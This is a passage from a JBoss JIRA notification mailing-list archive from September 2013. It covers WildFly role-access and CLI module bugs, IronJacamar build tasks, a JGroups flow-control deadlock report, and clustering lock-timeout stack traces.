References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.1265.1380156903384@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2139:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 20:55:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 25 Sep 2013 20:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.1269.1380156903559@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2139:
-----------------------------------

    Bugzilla Update:   (was: Perform)

    
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 02:28:02 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Thu, 26 Sep 2013 02:28:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155000.1431.1380176882564@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1075?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao resolved JBJCA-1075.
----------------------------

    Resolution: Done

    
> ironjacamar-deployers-common.jar contains source files (*.java)
> ---------------------------------------------------------------
>
>                 Key: JBJCA-1075
>                 URL: https://issues.jboss.org/browse/JBJCA-1075
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> There are .java files included in ironjacamar-deployers-common.jar:
> {code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
>      8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
>      7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
> {code}
> The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 02:30:02 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Thu, 26 Sep 2013 02:30:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1085) Generate aggregated javadoc
In-Reply-To: <JIRA.12501583.1380176984670@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501583.1380176984670@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501583.1380176984670.1433.1380177002579@jira02.app.mwc.hst.phx2.redhat.com>

Lin Gao created JBJCA-1085:
------------------------------

             Summary: Generate aggregated javadoc
                 Key: JBJCA-1085
                 URL: https://issues.jboss.org/browse/JBJCA-1085
             Project: IronJacamar
          Issue Type: Task
            Reporter: Lin Gao
            Assignee: Lin Gao


Discussion at: https://groups.google.com/forum/#!topic/ironjacamar-developers/vjBJqmT07o8

There would be 3 bundles
All API / SPI packages
Everything with as=false
Everything with as=true

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 03:12:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 03:12:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.1472.1380179522749@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807497#comment-12807497 ] 

RH Bugzilla Integration commented on WFLY-1913:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> made a comment on [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469]

Verified on EAP 6.2.0.ER3
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 03:12:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 03:12:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1896) The CLI command "module
 remove" fails to delete non-empty folders
In-Reply-To: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498835.1376855712000.1475.1380179522935@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1896?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807498#comment-12807498 ] 

RH Bugzilla Integration commented on WFLY-1896:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> made a comment on [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469]

Verified on EAP 6.2.0.ER3
                
>  The CLI command "module remove" fails to delete non-empty folders
> ------------------------------------------------------------------
>
>                 Key: WFLY-1896
>                 URL: https://issues.jboss.org/browse/WFLY-1896
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The "module remove" command fails when it deletes non-empty folder.
> For instance a resource adapter module contains META-INF/ra.xml file in the module. When I choose to delete the module, it fails:
> [standalone at localhost:9999 /] module remove --name=org.jboss.ironjacamar.ra16out 
> Failed to delete /home/jcacek/Testing/jboss-eap-6.1.1.ER4/modules/org/jboss/ironjacamar/ra16out/main/META-INF

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 03:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 03:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.1478.1380179523109@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807499#comment-12807499 ] 

RH Bugzilla Integration commented on WFLY-1913:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> changed the Status of [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469] from ON_QA to VERIFIED
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 03:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 03:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1896) The CLI command "module
 remove" fails to delete non-empty folders
In-Reply-To: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498835.1376855712000.1480.1380179523207@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1896?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807500#comment-12807500 ] 

RH Bugzilla Integration commented on WFLY-1896:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> changed the Status of [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469] from ON_QA to VERIFIED
                
>  The CLI command "module remove" fails to delete non-empty folders
> ------------------------------------------------------------------
>
>                 Key: WFLY-1896
>                 URL: https://issues.jboss.org/browse/WFLY-1896
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The "module remove" command fails when it deletes non-empty folder.
> For instance a resource adapter module contains META-INF/ra.xml file in the module. When I choose to delete the module, it fails:
> [standalone at localhost:9999 /] module remove --name=org.jboss.ironjacamar.ra16out 
> Failed to delete /home/jcacek/Testing/jboss-eap-6.1.1.ER4/modules/org/jboss/ironjacamar/ra16out/main/META-INF

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 03:31:02 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Thu, 26 Sep 2013 03:31:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1488.1380180662692@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807501#comment-12807501 ] 

Radim Vansa commented on JGRP-1675:
-----------------------------------

Hey, I've spent another few hours trying to track this, created a test that does the described things and should exhibit this behaviour and I don't have any more clues. I'll set up enough credits, internal thread pool and I will hope that things will be working.
(Nevertheless, I've noticed that xmit request has got the internal flag - that's a good thing IMO).
I am sorry about that. Let's close this as non-reproduceable in tests.
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 03:38:02 2013
From: jira-events at lists.jboss.org (Oliver Carr (JIRA))
Date: Thu, 26 Sep 2013 03:38:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBCLUSTER-306) Runtime Exception on
 jboss AS 7.2.0 Final Cluster in domain Mode
In-Reply-To: <JIRA.12490805.1367313920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490805.1367313920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490805.1367313920000.1492.1380181082676@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBCLUSTER-306?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807502#comment-12807502 ] 

Oliver Carr commented on JBCLUSTER-306:
---------------------------------------

We are also experiencing this issues in JBoss EAP 6.1.1 using Java 7 (update 09).

At the very beginning everything was OK, but after a while we noticed a terrible drop in performance. Log files are full with exceptions like this
11:29:10,303 ERROR [org.apache.catalina.connector] (ajp-/10.14.30.68:8009-2) JBWEB001018: An exception or error occurred in the container during the request processing: java.lang.RuntimeException: JBAS018060: Exception acquiring ownership of -5gnmmonw6FPUpluhNkdRsbn
        at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:494) [jboss-as-web-7.2.1.Final-redhat-10.jar:7.2.1.Final-redhat-10]
        at org.apache.catalina.connector.Request.doGetSession(Request.java:2616) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.catalina.connector.Request.getSession(Request.java:2361) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:99) [jboss-as-web-7.2.1.Final-redhat-10.jar:7.2.1.Final-redhat-10]
        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:145) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:97) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:102) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:336) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.coyote.ajp.AjpProcessor.process(AjpProcessor.java:488) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.coyote.ajp.AjpProtocol$AjpConnectionHandler.process(AjpProtocol.java:420) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:920) [jbossweb-7.2.2.Final-redhat-1.jar:7.2.2.Final-redhat-1]
        at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_09]
Caused by: org.jboss.as.clustering.lock.TimeoutException: JBAS010213: Cannot acquire lock default-host/jboss6/prod/viewer/-5gnmmonw6FPUpluhNkdRsbn from cluster
        at org.jboss.as.clustering.lock.SharedLocalYieldingClusterLockManager.lock(SharedLocalYieldingClusterLockManager.java:439)
        at org.jboss.as.clustering.web.infinispan.DistributedCacheManager.acquireSessionOwnership(DistributedCacheManager.java:400)
        at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:520) [jboss-as-web-7.2.1.Final-redhat-10.jar:7.2.1.Final-redhat-10]
        at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:492) [jboss-as-web-7.2.1.Final-redhat-10.jar:7.2.1.Final-redhat-10]
        ... 11 more

                
> Runtime Exception on jboss AS 7.2.0 Final Cluster in domain Mode
> ----------------------------------------------------------------
>
>                 Key: JBCLUSTER-306
>                 URL: https://issues.jboss.org/browse/JBCLUSTER-306
>             Project: JBoss Clustering
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Jboss AS 7.2.0 Final  (Alpha)
>            Reporter: Mahesh H
>            Assignee: Paul Ferraro
>
> Hi,
> i am running load test on domain cluster . There are two nodes on which i am running load test faceing Runtime Exception ... Below is the stacktrace.
> [Server:server-three] 23:23:38,944 ERROR [org.apache.catalina.connector] (http-/192.168.8.138:8330-2) JBWEB001018: An exception or error occurred in the container during the request processing: java.lang.RuntimeException: JBAS018060: Exception acquiring ownership of Ph-o7voM40LQY7VPJZCZBvEe
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:497) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.Request.doGetSession(Request.java:2612) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.Request.getSession(Request.java:2357) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:99) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:145) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:97) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:102) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:336) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:856) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:920) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_13]
> [Server:server-three] Caused by: org.jboss.as.clustering.lock.TimeoutException: JBAS010213: Cannot acquire lock default-host/onebill/Ph-o7voM40LQY7VPJZCZBvEe from cluster
> [Server:server-three] 	at org.jboss.as.clustering.lock.SharedLocalYieldingClusterLockManager.lock(SharedLocalYieldingClusterLockManager.java:439)
> [Server:server-three] 	at org.jboss.as.clustering.web.infinispan.DistributedCacheManager.acquireSessionOwnership(DistributedCacheManager.java:392)
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:523) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:495) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	... 11 more
> [Server:server-three] 
> [Server:server-three] 23:24:08,952 ERROR [org.apache.catalina.connector] (http-/192.168.8.138:8330-1) JBWEB001018: An exception or error occurred in the container during the request processing: java.lang.RuntimeException: JBAS018060: Exception acquiring ownership of Ph-o7voM40LQY7VPJZCZBvEe
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:497) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.Request.doGetSession(Request.java:2612) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.Request.getSession(Request.java:2357) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:99) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:145) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:97) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:102) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:336) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:856) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:920) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_13]
> [Server:server-three] Caused by: org.jboss.as.clustering.lock.TimeoutException: JBAS010213: Cannot acquire lock default-host/onebill/Ph-o7voM40LQY7VPJZCZBvEe from cluster
> [Server:server-three] 	at org.jboss.as.clustering.lock.SharedLocalYieldingClusterLockManager.lock(SharedLocalYieldingClusterLockManager.java:439)
> [Server:server-three] 	at org.jboss.as.clustering.web.infinispan.DistributedCacheManager.acquireSessionOwnership(DistributedCacheManager.java:392)
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.acquireSessionOwnership(ClusteredSession.java:523) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:495) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	... 11 more
> [Server:server-three] 
> [Server:server-three] 23:24:38,967 ERROR [org.apache.catalina.connector] (http-/192.168.8.138:8330-2) JBWEB001018: An exception or error occurred in the container during the request processing: java.lang.RuntimeException: JBAS018060: Exception acquiring ownership of Ph-o7voM40LQY7VPJZCZBvEe
> [Server:server-three] 	at org.jboss.as.web.session.ClusteredSession.access(ClusteredSession.java:497) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.Request.doGetSession(Request.java:2612) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.Request.getSession(Request.java:2357) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:99) [jboss-as-web-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:145) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:97) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:102) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:336) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:856) [jbossweb-7.2.0.Final.jar:7.2.0.Final]
> [Server:server-three] 	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) [jbossweb-7.2.0.Final.jar:7.2.0.Final]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 05:42:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 26 Sep 2013 05:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1669.1380188522843@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807531#comment-12807531 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

OK, can you close it ? We can still reopen it if this problem pops up again.
Cheers,
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 05:57:02 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Thu, 26 Sep 2013 05:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1679.1380189422697@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Radim Vansa resolved JGRP-1675.
-------------------------------

    Resolution: Cannot Reproduce Bug

    
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
